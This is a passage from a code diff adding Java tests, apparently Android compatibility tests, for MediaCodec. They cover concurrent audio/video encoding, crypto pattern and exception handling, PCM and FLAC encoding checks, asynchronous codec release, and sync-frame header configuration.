+                    outputBufferIndex = mediaCodec.dequeueOutputBuffer(outputBufferInfo, 0);
+                }
+
+                if (outputBufferIndex == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED
+                        || outputBufferIndex == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED
+                        || outputBufferIndex == MediaCodec.INFO_TRY_AGAIN_LATER) {
+                    outputBufferIndex = NO_BUFFER_INDEX;
+                } else if (outputBufferIndex != NO_BUFFER_INDEX) {
+                    eos = (outputBufferInfo.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0;
+
+                    boolean render = outputBufferInfo.size > 0;
+                    mediaCodec.releaseOutputBuffer(outputBufferIndex, render);
+                    if (render) {
+                        outputSurface.awaitNewImage();
+                    }
+
+                    outputBufferIndex = NO_BUFFER_INDEX;
+                }
+            }
+
+            return eos;
+        } catch (IOException e) {
+            throw new RuntimeException("error reading input resource", e);
+        } finally {
+            if (mediaCodec != null) {
+                mediaCodec.stop();
+                mediaCodec.release();
+            }
+            if (mediaExtractor != null) {
+                mediaExtractor.release();
+            }
+            if (outputSurface != null) {
+                outputSurface.release();
+            }
+        }
+    }
+
+    /**
+     * Tests creating two decoders for {@link #MIME_TYPE_AUDIO} at the same time.
+     */
+    public void testCreateTwoAudioDecoders() {
+        final MediaFormat format = MediaFormat.createAudioFormat(
+                MIME_TYPE_AUDIO, AUDIO_SAMPLE_RATE, AUDIO_CHANNEL_COUNT);
+
+        MediaCodec audioDecoderA = null;
+        MediaCodec audioDecoderB = null;
+        try {
+            try {
+                audioDecoderA = MediaCodec.createDecoderByType(MIME_TYPE_AUDIO);
+            } catch (IOException e) {
+                fail("failed to create first " + MIME_TYPE_AUDIO + " decoder");
+            }
+            audioDecoderA.configure(format, null, null, 0);
+            audioDecoderA.start();
+
+            try {
+                audioDecoderB = MediaCodec.createDecoderByType(MIME_TYPE_AUDIO);
+            } catch (IOException e) {
+                fail("failed to create second " + MIME_TYPE_AUDIO + " decoder");
+            }
+            audioDecoderB.configure(format, null, null, 0);
+            audioDecoderB.start();
+        } finally {
+            if (audioDecoderB != null) {
+                try {
+                    audioDecoderB.stop();
+                    audioDecoderB.release();
+                } catch (RuntimeException e) {
+                    Log.w(TAG, "exception stopping/releasing codec", e);
+                }
+            }
+
+            if (audioDecoderA != null) {
+                try {
+                    audioDecoderA.stop();
+                    audioDecoderA.release();
+                } catch (RuntimeException e) {
+                    Log.w(TAG, "exception stopping/releasing codec", e);
+                }
+            }
+        }
+    }
+
+    /**
+     * Tests creating an encoder and decoder for {@link #MIME_TYPE_AUDIO} at the same time.
+     */
+    public void testCreateAudioDecoderAndEncoder() {
+        if (!supportsCodec(MIME_TYPE_AUDIO, true)) {
+            Log.i(TAG, "No encoder found for mimeType= " + MIME_TYPE_AUDIO);
+            return;
+        }
+
+        if (!supportsCodec(MIME_TYPE_AUDIO, false)) {
+            Log.i(TAG, "No decoder found for mimeType= " + MIME_TYPE_AUDIO);
+            return;
+        }
+
+        final MediaFormat encoderFormat = MediaFormat.createAudioFormat(
+                MIME_TYPE_AUDIO, AUDIO_SAMPLE_RATE, AUDIO_CHANNEL_COUNT);
+        encoderFormat.setInteger(MediaFormat.KEY_AAC_PROFILE, AUDIO_AAC_PROFILE);
+        encoderFormat.setInteger(MediaFormat.KEY_BIT_RATE, AUDIO_BIT_RATE);
+        final MediaFormat decoderFormat = MediaFormat.createAudioFormat(
+                MIME_TYPE_AUDIO, AUDIO_SAMPLE_RATE, AUDIO_CHANNEL_COUNT);
+
+        MediaCodec audioEncoder = null;
+        MediaCodec audioDecoder = null;
+        try {
+            try {
+                audioEncoder = MediaCodec.createEncoderByType(MIME_TYPE_AUDIO);
+            } catch (IOException e) {
+                fail("failed to create " + MIME_TYPE_AUDIO + " encoder");
+            }
+            audioEncoder.configure(encoderFormat, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
+            audioEncoder.start();
+
+            try {
+                audioDecoder = MediaCodec.createDecoderByType(MIME_TYPE_AUDIO);
+            } catch (IOException e) {
+                fail("failed to create " + MIME_TYPE_AUDIO + " decoder");
+            }
+            audioDecoder.configure(decoderFormat, null, null, 0);
+            audioDecoder.start();
+        } finally {
+            if (audioDecoder != null) {
+                try {
+                    audioDecoder.stop();
+                    audioDecoder.release();
+                } catch (RuntimeException e) {
+                    Log.w(TAG, "exception stopping/releasing codec", e);
+                }
+            }
+
+            if (audioEncoder != null) {
+                try {
+                    audioEncoder.stop();
+                    audioEncoder.release();
+                } catch (RuntimeException e) {
+                    Log.w(TAG, "exception stopping/releasing codec", e);
+                }
+            }
+        }
+    }
+
+    public void testConcurrentAudioVideoEncodings() throws InterruptedException {
+        if (!supportsCodec(MIME_TYPE_AUDIO, true)) {
+            Log.i(TAG, "No encoder found for mimeType= " + MIME_TYPE_AUDIO);
+            return;
+        }
+
+        if (!supportsCodec(MIME_TYPE, true)) {
+            Log.i(TAG, "No decoder found for mimeType= " + MIME_TYPE);
+            return;
+        }
+
+        final int VIDEO_NUM_SWAPS = 100;
+        // audio only checks this and stop
+        mVideoEncodingOngoing = true;
+        final CodecInfo info = getAvcSupportedFormatInfo();
+        long start = System.currentTimeMillis();
+        Thread videoEncodingThread = new Thread(new Runnable() {
+            @Override
+            public void run() {
+                runVideoEncoding(VIDEO_NUM_SWAPS, info);
+            }
+        });
+        Thread audioEncodingThread = new Thread(new Runnable() {
+            @Override
+            public void run() {
+                runAudioEncoding();
+            }
+        });
+        videoEncodingThread.start();
+        audioEncodingThread.start();
+        videoEncodingThread.join();
+        mVideoEncodingOngoing = false;
+        audioEncodingThread.join();
+        assertFalse("Video encoding error. Chekc logcat", mVideoEncoderHadError);
+        assertFalse("Audio encoding error. Chekc logcat", mAudioEncoderHadError);
+        long end = System.currentTimeMillis();
+        Log.w(TAG, "Concurrent AV encoding took " + (end - start) + " ms for " + VIDEO_NUM_SWAPS +
+                " video frames");
+    }
+
+    private static class CodecInfo {
+        public int mMaxW;
+        public int mMaxH;
+        public int mFps;
+        public int mBitRate;
+    }
+
+    public void testCryptoInfoPattern() {
+        CryptoInfo info = new CryptoInfo();
+        Pattern pattern = new Pattern(1 /*blocksToEncrypt*/, 2 /*blocksToSkip*/);
+        assertEquals(1, pattern.getEncryptBlocks());
+        assertEquals(2, pattern.getSkipBlocks());
+        pattern.set(3 /*blocksToEncrypt*/, 4 /*blocksToSkip*/);
+        assertEquals(3, pattern.getEncryptBlocks());
+        assertEquals(4, pattern.getSkipBlocks());
+        info.setPattern(pattern);
+        // Check that CryptoInfo does not leak access to the underlying pattern.
+        if (mIsAtLeastS) {
+            // getPattern() availability SDK>=S
+            pattern.set(10, 10);
+            info.getPattern().set(10, 10);
+            assertSame(3, info.getPattern().getEncryptBlocks());
+            assertSame(4, info.getPattern().getSkipBlocks());
+        }
+    }
+
+    private static CodecInfo getAvcSupportedFormatInfo() {
+        MediaCodecInfo mediaCodecInfo = selectCodec(MIME_TYPE);
+        CodecCapabilities cap = mediaCodecInfo.getCapabilitiesForType(MIME_TYPE);
+        if (cap == null) { // not supported
+            return null;
+        }
+        CodecInfo info = new CodecInfo();
+        int highestLevel = 0;
+        for (CodecProfileLevel lvl : cap.profileLevels) {
+            if (lvl.level > highestLevel) {
+                highestLevel = lvl.level;
+            }
+        }
+        int maxW = 0;
+        int maxH = 0;
+        int bitRate = 0;
+        int fps = 0; // frame rate for the max resolution
+        switch(highestLevel) {
+            // Do not support Level 1 to 2.
+            case CodecProfileLevel.AVCLevel1:
+            case CodecProfileLevel.AVCLevel11:
+            case CodecProfileLevel.AVCLevel12:
+            case CodecProfileLevel.AVCLevel13:
+            case CodecProfileLevel.AVCLevel1b:
+            case CodecProfileLevel.AVCLevel2:
+                return null;
+            case CodecProfileLevel.AVCLevel21:
+                maxW = 352;
+                maxH = 576;
+                bitRate = 4000000;
+                fps = 25;
+                break;
+            case CodecProfileLevel.AVCLevel22:
+                maxW = 720;
+                maxH = 480;
+                bitRate = 4000000;
+                fps = 15;
+                break;
+            case CodecProfileLevel.AVCLevel3:
+                maxW = 720;
+                maxH = 480;
+                bitRate = 10000000;
+                fps = 30;
+                break;
+            case CodecProfileLevel.AVCLevel31:
+                maxW = 1280;
+                maxH = 720;
+                bitRate = 14000000;
+                fps = 30;
+                break;
+            case CodecProfileLevel.AVCLevel32:
+                maxW = 1280;
+                maxH = 720;
+                bitRate = 20000000;
+                fps = 60;
+                break;
+            case CodecProfileLevel.AVCLevel4: // only try up to 1080p
+            default:
+                maxW = 1920;
+                maxH = 1080;
+                bitRate = 20000000;
+                fps = 30;
+                break;
+        }
+        info.mMaxW = maxW;
+        info.mMaxH = maxH;
+        info.mFps = fps;
+        info.mBitRate = bitRate;
+        Log.i(TAG, "AVC Level 0x" + Integer.toHexString(highestLevel) + " bit rate " + bitRate +
+                " fps " + info.mFps + " w " + maxW + " h " + maxH);
+
+        return info;
+    }
+
+    private void runVideoEncoding(int numSwap, CodecInfo info) {
+        MediaFormat format = MediaFormat.createVideoFormat(MIME_TYPE, info.mMaxW, info.mMaxH);
+        format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+                MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface);
+        format.setInteger(MediaFormat.KEY_BIT_RATE, info.mBitRate);
+        format.setInteger(MediaFormat.KEY_FRAME_RATE, info.mFps);
+        format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
+        MediaCodec encoder = null;
+        InputSurface inputSurface = null;
+        mVideoEncoderHadError = false;
+        try {
+            encoder = MediaCodec.createEncoderByType(MIME_TYPE);
+            encoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
+            inputSurface = new InputSurface(encoder.createInputSurface());
+            inputSurface.makeCurrent();
+            MediaCodec.BufferInfo bufferInfo = new MediaCodec.BufferInfo();
+            encoder.start();
+            for (int i = 0; i < numSwap; i++) {
+                GLES20.glClearColor(0.0f, 0.5f, 0.0f, 1.0f);
+                GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
+                inputSurface.swapBuffers();
+                // dequeue buffers until not available
+                int index = encoder.dequeueOutputBuffer(bufferInfo, TIMEOUT_USEC);
+                while (index >= 0) {
+                    encoder.releaseOutputBuffer(index, false);
+                    // just throw away output
+                    // allow shorter wait for 2nd round to move on quickly.
+                    index = encoder.dequeueOutputBuffer(bufferInfo, TIMEOUT_USEC_SHORT);
+                }
+            }
+            encoder.signalEndOfInputStream();
+        } catch (Throwable e) {
+            Log.w(TAG, "runVideoEncoding got error: " + e);
+            mVideoEncoderHadError = true;
+        } finally {
+            if (encoder != null) {
+                encoder.stop();
+                encoder.release();
+            }
+            if (inputSurface != null) {
+                inputSurface.release();
+            }
+        }
+    }
+
+    private void runAudioEncoding() {
+        MediaFormat format = MediaFormat.createAudioFormat(MIME_TYPE_AUDIO, AUDIO_SAMPLE_RATE,
+                AUDIO_CHANNEL_COUNT);
+        format.setInteger(MediaFormat.KEY_AAC_PROFILE, AUDIO_AAC_PROFILE);
+        format.setInteger(MediaFormat.KEY_BIT_RATE, AUDIO_BIT_RATE);
+        MediaCodec encoder = null;
+        mAudioEncoderHadError = false;
+        try {
+            encoder = MediaCodec.createEncoderByType(MIME_TYPE_AUDIO);
+            encoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
+            MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+            encoder.start();
+            ByteBuffer[] inputBuffers = encoder.getInputBuffers();
+            ByteBuffer source = ByteBuffer.allocate(inputBuffers[0].capacity());
+            for (int i = 0; i < source.capacity()/2; i++) {
+                source.putShort((short)i);
+            }
+            source.rewind();
+            int currentInputBufferIndex = 0;
+            long encodingLatencySum = 0;
+            int totalEncoded = 0;
+            int numRepeat = 0;
+            while (mVideoEncodingOngoing) {
+                numRepeat++;
+                int inputIndex = encoder.dequeueInputBuffer(TIMEOUT_USEC);
+                while (inputIndex == -1) {
+                    inputIndex = encoder.dequeueInputBuffer(TIMEOUT_USEC);
+                }
+                ByteBuffer inputBuffer = inputBuffers[inputIndex];
+                inputBuffer.rewind();
+                inputBuffer.put(source);
+                long start = System.currentTimeMillis();
+                totalEncoded += inputBuffers[inputIndex].limit();
+                encoder.queueInputBuffer(inputIndex, 0, inputBuffer.limit(), 0, 0);
+                source.rewind();
+                int index = encoder.dequeueOutputBuffer(info, TIMEOUT_USEC);
+                long end = System.currentTimeMillis();
+                encodingLatencySum += (end - start);
+                while (index >= 0) {
+                    encoder.releaseOutputBuffer(index, false);
+                    // just throw away output
+                    // allow shorter wait for 2nd round to move on quickly.
+                    index = encoder.dequeueOutputBuffer(info, TIMEOUT_USEC_SHORT);
+                }
+            }
+            Log.w(TAG, "Audio encoding average latency " + encodingLatencySum / numRepeat +
+                    " ms for average write size " + totalEncoded / numRepeat +
+                    " total latency " + encodingLatencySum + " ms for total bytes " + totalEncoded);
+        } catch (Throwable e) {
+            Log.w(TAG, "runAudioEncoding got error: " + e);
+            mAudioEncoderHadError = true;
+        } finally {
+            if (encoder != null) {
+                encoder.stop();
+                encoder.release();
+            }
+        }
+    }
+
+    /**
+     * Creates a MediaFormat with the basic set of values.
+     */
+    private static MediaFormat createMediaFormat() {
+        MediaFormat format = MediaFormat.createVideoFormat(MIME_TYPE, WIDTH, HEIGHT);
+        format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+                MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface);
+        format.setInteger(MediaFormat.KEY_BIT_RATE, BIT_RATE);
+        format.setInteger(MediaFormat.KEY_FRAME_RATE, FRAME_RATE);
+        format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
+        return format;
+    }
+
+    /**
+     * Returns the first codec capable of encoding the specified MIME type, or null if no
+     * match was found.
+     */
+    private static MediaCodecInfo selectCodec(String mimeType) {
+        // FIXME: select codecs based on the complete use-case, not just the mime
+        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        for (MediaCodecInfo info : mcl.getCodecInfos()) {
+            if (!info.isEncoder()) {
+                continue;
+            }
+
+            String[] types = info.getSupportedTypes();
+            for (int j = 0; j < types.length; j++) {
+                if (types[j].equalsIgnoreCase(mimeType)) {
+                    return info;
+                }
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Returns a color format that is supported by the codec and isn't COLOR_FormatSurface.  Throws
+     * an exception if none found.
+     */
+    private static int findNonSurfaceColorFormat(MediaCodecInfo codecInfo, String mimeType) {
+        MediaCodecInfo.CodecCapabilities capabilities = codecInfo.getCapabilitiesForType(mimeType);
+        for (int i = 0; i < capabilities.colorFormats.length; i++) {
+            int colorFormat = capabilities.colorFormats[i];
+            if (colorFormat != MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface) {
+                return colorFormat;
+            }
+        }
+        fail("couldn't find a good color format for " + codecInfo.getName() + " / " + MIME_TYPE);
+        return 0;   // not reached
+    }
+
+    private MediaExtractor getMediaExtractorForMimeType(final String resource,
+            String mimeTypePrefix) throws IOException {
+        Preconditions.assertTestFileExists(mInpPrefix + resource);
+        MediaExtractor mediaExtractor = new MediaExtractor();
+        File inpFile = new File(mInpPrefix + resource);
+        ParcelFileDescriptor parcelFD =
+                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
+        AssetFileDescriptor afd = new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
+        try {
+            mediaExtractor.setDataSource(
+                    afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+        } finally {
+            afd.close();
+        }
+        int trackIndex;
+        for (trackIndex = 0; trackIndex < mediaExtractor.getTrackCount(); trackIndex++) {
+            MediaFormat trackMediaFormat = mediaExtractor.getTrackFormat(trackIndex);
+            if (trackMediaFormat.getString(MediaFormat.KEY_MIME).startsWith(mimeTypePrefix)) {
+                mediaExtractor.selectTrack(trackIndex);
+                break;
+            }
+        }
+        if (trackIndex == mediaExtractor.getTrackCount()) {
+            throw new IllegalStateException("couldn't get a video track");
+        }
+
+        return mediaExtractor;
+    }
+
+    private static boolean supportsCodec(String mimeType, boolean encoder) {
+        MediaCodecList list = new MediaCodecList(MediaCodecList.ALL_CODECS);
+        for (MediaCodecInfo info : list.getCodecInfos()) {
+            if (encoder != info.isEncoder()) {
+                continue;
+            }
+
+            for (String type : info.getSupportedTypes()) {
+                if (type.equalsIgnoreCase(mimeType)) {
+                    return true;
+                }
+            }
+        }
+        return false;
+    }
+
+    private static final UUID CLEARKEY_SCHEME_UUID =
+            new UUID(0x1077efecc0b24d02L, 0xace33c1e52e2fb4bL);
+
+    /**
+     * Tests MediaCodec.CryptoException
+     */
+    public void testCryptoException() {
+        int errorCode = CryptoException.ERROR_KEY_EXPIRED;
+        String errorMessage = "key_expired";
+        CryptoException exception = new CryptoException(errorCode, errorMessage);
+
+        assertEquals(errorCode, exception.getErrorCode());
+        assertEquals(errorMessage, exception.getMessage());
+    }
+
+    /**
+     * PCM encoding configuration test.
+     *
+     * If not specified in configure(), PCM encoding if it exists must be 16 bit.
+     * If specified float in configure(), PCM encoding if it exists must be 16 bit, or float.
+     *
+     * As of Q, any codec of type "audio/raw" must support PCM encoding float.
+     */
+    @MediumTest
+    public void testPCMEncoding() throws Exception {
+        final MediaCodecList mcl = new MediaCodecList(MediaCodecList.ALL_CODECS);
+        for (MediaCodecInfo codecInfo : mcl.getCodecInfos()) {
+            final boolean isEncoder = codecInfo.isEncoder();
+            final String name = codecInfo.getName();
+
+            for (String type : codecInfo.getSupportedTypes()) {
+                final MediaCodecInfo.CodecCapabilities ccaps =
+                        codecInfo.getCapabilitiesForType(type);
+                final MediaCodecInfo.AudioCapabilities acaps =
+                        ccaps.getAudioCapabilities();
+                if (acaps == null) {
+                    break; // not an audio codec
+                }
+
+                // Deduce the minimum channel count (though prefer stereo over mono).
+                final int channelCount = Math.min(acaps.getMaxInputChannelCount(), 2);
+
+                // Deduce the minimum sample rate.
+                final int[] sampleRates = acaps.getSupportedSampleRates();
+                final Range<Integer>[] sampleRateRanges = acaps.getSupportedSampleRateRanges();
+                assertNotNull("supported sample rate ranges must be non-null", sampleRateRanges);
+                final int sampleRate = sampleRateRanges[0].getLower();
+
+                // If sample rate array exists (it may not),
+                // the minimum value must be equal with the minimum from the sample rate range.
+                if (sampleRates != null) {
+                    assertEquals("sample rate range and array should have equal minimum",
+                            sampleRate, sampleRates[0]);
+                    Log.d(TAG, "codec: " + name + " type: " + type
+                            + " has both sampleRate array and ranges");
+                } else {
+                    Log.d(TAG, "codec: " + name + " type: " + type
+                            + " returns null getSupportedSampleRates()");
+                }
+
+                // We create one format here for both tests below.
+                final MediaFormat format = MediaFormat.createAudioFormat(
+                    type, sampleRate, channelCount);
+
+                // Bitrate field is mandatory for encoders (except FLAC).
+                if (isEncoder) {
+                    final int bitRate = acaps.getBitrateRange().getLower();
+                    format.setInteger(MediaFormat.KEY_BIT_RATE, bitRate);
+                }
+
+                // First test: An audio codec must be createable from a format
+                // with the minimum sample rate and channel count.
+                // The PCM encoding must be null (doesn't exist) or 16 bit.
+                {
+                    // Check encoding of codec.
+                    final Integer actualEncoding = encodingOfAudioCodec(name, format, isEncoder);
+                    if (actualEncoding != null) {
+                        assertEquals("returned audio encoding must be 16 bit for codec: "
+                                + name + " type: " + type + " encoding: " + actualEncoding,
+                                AudioFormat.ENCODING_PCM_16BIT, actualEncoding.intValue());
+                    }
+                }
+
+                // Second test: An audio codec configured with PCM encoding float must return
+                // either an encoding of null (doesn't exist), 16 bit, or float.
+                {
+                    // Reuse the original format, and add float specifier.
+                    format.setInteger(
+                            MediaFormat.KEY_PCM_ENCODING, AudioFormat.ENCODING_PCM_FLOAT);
+
+                    // Check encoding of codec.
+                    // The KEY_PCM_ENCODING key is advisory, so should not cause configuration
+                    // failure.  The actual PCM encoding is returned from
+                    // the input format (encoder) or output format (decoder).
+                    final Integer actualEncoding = encodingOfAudioCodec(name, format, isEncoder);
+                    if (actualEncoding != null) {
+                        assertTrue(
+                                "returned audio encoding must be 16 bit or float for codec: "
+                                + name + " type: " + type + " encoding: " + actualEncoding,
+                                actualEncoding == AudioFormat.ENCODING_PCM_16BIT
+                                || actualEncoding == AudioFormat.ENCODING_PCM_FLOAT);
+                        if (actualEncoding == AudioFormat.ENCODING_PCM_FLOAT) {
+                            Log.d(TAG, "codec: " + name + " type: " + type + " supports float");
+                        }
+                    }
+
+                    // As of Q, all codecs of type "audio/raw" must support float.
+                    if (type.equals("audio/raw")) {
+                        assertTrue(type + " must support float",
+                                actualEncoding != null &&
+                                actualEncoding.intValue() == AudioFormat.ENCODING_PCM_FLOAT);
+                    }
+                }
+            }
+        }
+    }
+
+    /**
+     * Returns the PCM encoding of an audio codec, or null if codec doesn't exist,
+     * or not an audio codec, or PCM encoding key doesn't exist.
+     */
+    private Integer encodingOfAudioCodec(String name, MediaFormat format, boolean encode)
+            throws IOException {
+        final int flagEncoder = encode ? MediaCodec.CONFIGURE_FLAG_ENCODE : 0;
+        final MediaCodec codec = MediaCodec.createByCodecName(name);
+        Integer actualEncoding = null;
+
+        try {
+            codec.configure(format, null /* surface */, null /* crypto */, flagEncoder);
+
+            // Check input/output format - this must exist.
+            final MediaFormat actualFormat =
+                    encode ? codec.getInputFormat() : codec.getOutputFormat();
+            assertNotNull("cannot get format for " + name, actualFormat);
+
+            // Check actual encoding - this may or may not exist
+            try {
+                actualEncoding = actualFormat.getInteger(MediaFormat.KEY_PCM_ENCODING);
+            } catch (Exception e) {
+                ; // trying to get a non-existent key throws exception
+            }
+        } finally {
+            codec.release();
+        }
+        return actualEncoding;
+    }
+
+    @SmallTest
+    public void testFlacIdentity() throws Exception {
+        final int PCM_FRAMES = 1152 * 4; // FIXME: requires 4 flac frames to work with OMX codecs.
+        final int SAMPLES = PCM_FRAMES * AUDIO_CHANNEL_COUNT;
+        final int[] SAMPLE_RATES = {AUDIO_SAMPLE_RATE, 192000}; // ensure 192kHz supported.
+
+        for (int sampleRate : SAMPLE_RATES) {
+            final MediaFormat format = new MediaFormat();
+            format.setString(MediaFormat.KEY_MIME, MediaFormat.MIMETYPE_AUDIO_FLAC);
+            format.setInteger(MediaFormat.KEY_SAMPLE_RATE, sampleRate);
+            format.setInteger(MediaFormat.KEY_CHANNEL_COUNT, AUDIO_CHANNEL_COUNT);
+
+            Log.d(TAG, "Trying sample rate: " + sampleRate
+                    + " channel count: " + AUDIO_CHANNEL_COUNT);
+            // this key is only needed for encode, ignored for decode
+            format.setInteger(MediaFormat.KEY_FLAC_COMPRESSION_LEVEL, 5);
+
+            for (int i = 0; i < 2; ++i) {
+                final boolean useFloat = (i == 1);
+                final StreamUtils.PcmAudioBufferStream audioStream =
+                    new StreamUtils.PcmAudioBufferStream(SAMPLES, sampleRate, 1000 /* frequency */,
+                    100 /* sweep */, useFloat);
+
+                if (useFloat) {
+                    format.setInteger(
+                        MediaFormat.KEY_PCM_ENCODING, AudioFormat.ENCODING_PCM_FLOAT);
+                }
+
+                final StreamUtils.MediaCodecStream rawToFlac = new StreamUtils.MediaCodecStream(
+                    new StreamUtils.ByteBufferInputStream(audioStream), format, true /* encode */);
+                final StreamUtils.MediaCodecStream flacToRaw = new StreamUtils.MediaCodecStream(
+                    rawToFlac, format, false /* encode */);
+
+                if (useFloat) { // ensure float precision supported at the sample rate.
+                    assertTrue("No float FLAC encoder at " + sampleRate,
+                            rawToFlac.mIsFloat);
+                    assertTrue("No float FLAC decoder at " + sampleRate,
+                            flacToRaw.mIsFloat);
+                }
+
+                // Note: the existence of signed zero (as well as NAN) may make byte
+                // comparisons invalid for floating point output. In our case, since the
+                // floats come through integer to float conversion, it does not matter.
+                assertEquals("Audio data not identical after compression",
+                    audioStream.sizeInBytes(),
+                    StreamUtils.compareStreams(new StreamUtils.ByteBufferInputStream(flacToRaw),
+                        new StreamUtils.ByteBufferInputStream(
+                        new StreamUtils.PcmAudioBufferStream(audioStream))));
+            }
+        }
+    }
+
+    public void testAsyncRelease() throws Exception {
+        OutputSurface outputSurface = new OutputSurface(1, 1);
+        MediaExtractor mediaExtractor = getMediaExtractorForMimeType(INPUT_RESOURCE, "video/");
+        MediaFormat mediaFormat =
+                mediaExtractor.getTrackFormat(mediaExtractor.getSampleTrackIndex());
+        String mimeType = mediaFormat.getString(MediaFormat.KEY_MIME);
+        for (int i = 0; i < 100; ++i) {
+            final MediaCodec codec = MediaCodec.createDecoderByType(mimeType);
+
+            try {
+                final ConditionVariable cv = new ConditionVariable();
+                Runnable first = null;
+                switch (i % 5) {
+                    case 0:  // release
+                        codec.configure(mediaFormat, outputSurface.getSurface(), null, 0);
+                        codec.start();
+                        first = () -> { cv.block(); codec.release(); };
+                        break;
+                    case 1:  // start
+                        codec.configure(mediaFormat, outputSurface.getSurface(), null, 0);
+                        first = () -> {
+                            cv.block();
+                            try {
+                                codec.start();
+                            } catch (Exception e) {
+                                Log.i(TAG, "start failed", e);
+                            }
+                        };
+                        break;
+                    case 2:  // configure
+                        first = () -> {
+                            cv.block();
+                            try {
+                                codec.configure(mediaFormat, outputSurface.getSurface(), null, 0);
+                            } catch (Exception e) {
+                                Log.i(TAG, "configure failed", e);
+                            }
+                        };
+                        break;
+                    case 3:  // stop
+                        codec.configure(mediaFormat, outputSurface.getSurface(), null, 0);
+                        codec.start();
+                        first = () -> {
+                            cv.block();
+                            try {
+                                codec.stop();
+                            } catch (Exception e) {
+                                Log.i(TAG, "stop failed", e);
+                            }
+                        };
+                        break;
+                    case 4:  // flush
+                        codec.configure(mediaFormat, outputSurface.getSurface(), null, 0);
+                        codec.start();
+                        codec.dequeueInputBuffer(0);
+                        first = () -> {
+                            cv.block();
+                            try {
+                                codec.flush();
+                            } catch (Exception e) {
+                                Log.i(TAG, "flush failed", e);
+                            }
+                        };
+                        break;
+                }
+
+                Thread[] threads = new Thread[10];
+                threads[0] = new Thread(first);
+                for (int j = 1; j < threads.length; ++j) {
+                    threads[j] = new Thread(() -> { cv.block(); codec.release(); });
+                }
+                for (Thread thread : threads) {
+                    thread.start();
+                }
+                // Wait a little bit so that threads may reach block() call.
+                Thread.sleep(50);
+                cv.open();
+                for (Thread thread : threads) {
+                    thread.join();
+                }
+            } finally {
+                codec.release();
+            }
+        }
+    }
+
+    public void testSetAudioPresentation() throws Exception {
+        MediaFormat format = MediaFormat.createAudioFormat(
+                MediaFormat.MIMETYPE_AUDIO_MPEG, 44100 /* sampleRate */, 2 /* channelCount */);
+        String mimeType = format.getString(MediaFormat.KEY_MIME);
+        MediaCodec codec = createCodecByType(
+                format.getString(MediaFormat.KEY_MIME), false /* isEncoder */);
+        assertNotNull(codec);
+        assertThrows(NullPointerException.class, () -> {
+            codec.setAudioPresentation(null);
+        });
+        codec.setAudioPresentation(
+                (new AudioPresentation.Builder(42 /* presentationId */)).build());
+    }
+
+    public void testPrependHeadersToSyncFrames() throws IOException {
+        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        for (MediaCodecInfo info : mcl.getCodecInfos()) {
+            boolean isEncoder = info.isEncoder();
+            for (String mime: info.getSupportedTypes()) {
+                CodecCapabilities caps = info.getCapabilitiesForType(mime);
+                boolean isVideo = (caps.getVideoCapabilities() != null);
+                boolean isAudio = (caps.getAudioCapabilities() != null);
+
+                MediaCodec codec = null;
+                MediaFormat format = null;
+                try {
+                    codec = MediaCodec.createByCodecName(info.getName());
+                    if (isVideo) {
+                        VideoCapabilities vcaps = caps.getVideoCapabilities();
+                        int minWidth = vcaps.getSupportedWidths().getLower();
+                        int minHeight = vcaps.getSupportedHeightsFor(minWidth).getLower();
+                        int minBitrate = vcaps.getBitrateRange().getLower();
+                        int minFrameRate = Math.max(vcaps.getSupportedFrameRatesFor(
+                                minWidth, minHeight) .getLower().intValue(), 1);
+                        format = MediaFormat.createVideoFormat(mime, minWidth, minHeight);
+                        format.setInteger(MediaFormat.KEY_COLOR_FORMAT, caps.colorFormats[0]);
+                        format.setInteger(MediaFormat.KEY_BIT_RATE, minBitrate);
+                        format.setInteger(MediaFormat.KEY_FRAME_RATE, minFrameRate);
+                        format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
+                    } else if(isAudio){
+                        AudioCapabilities acaps = caps.getAudioCapabilities();
+                        int minSampleRate = acaps.getSupportedSampleRateRanges()[0].getLower();
+                        int minChannelCount = 1;
+                        if (mIsAtLeastS) {
+                            minChannelCount = acaps.getMinInputChannelCount();
+                        }
+                        int minBitrate = acaps.getBitrateRange().getLower();
+                        format = MediaFormat.createAudioFormat(mime, minSampleRate, minChannelCount);
+                        format.setInteger(MediaFormat.KEY_BIT_RATE, minBitrate);
+                    }
+
+                    if (isVideo || isAudio) {
+                        format.setInteger(MediaFormat.KEY_PREPEND_HEADER_TO_SYNC_FRAMES, 1);
+
+                        codec.configure(format, null /* surface */, null /* crypto */,
+                            isEncoder ? codec.CONFIGURE_FLAG_ENCODE : 0);
+                    }
+                    if (isVideo && isEncoder) {
+                        Log.i(TAG, info.getName() + " supports KEY_PREPEND_HEADER_TO_SYNC_FRAMES");
+                    } else {
+                        Log.i(TAG, info.getName() + " is not a video encoder, so" +
+                                " KEY_PREPEND_HEADER_TO_SYNC_FRAMES is no-op, as expected");
+                    }
+                    // TODO: actually test encoders prepend the headers to sync frames.
+                } catch (IllegalArgumentException | CodecException e) {
+                    if (isVideo && isEncoder) {
+                        Log.i(TAG, info.getName() + " does not support" +
+                                " KEY_PREPEND_HEADER_TO_SYNC_FRAMES");
+                    } else {
+                        fail(info.getName() + " is not a video encoder," +
+                                " so it should not fail to configure.\n" + e.toString());
+                    }
+                } finally {
+                    if (codec != null) {
+                        codec.release();
+                    }
+                }
+            }
+        }
+    }
+
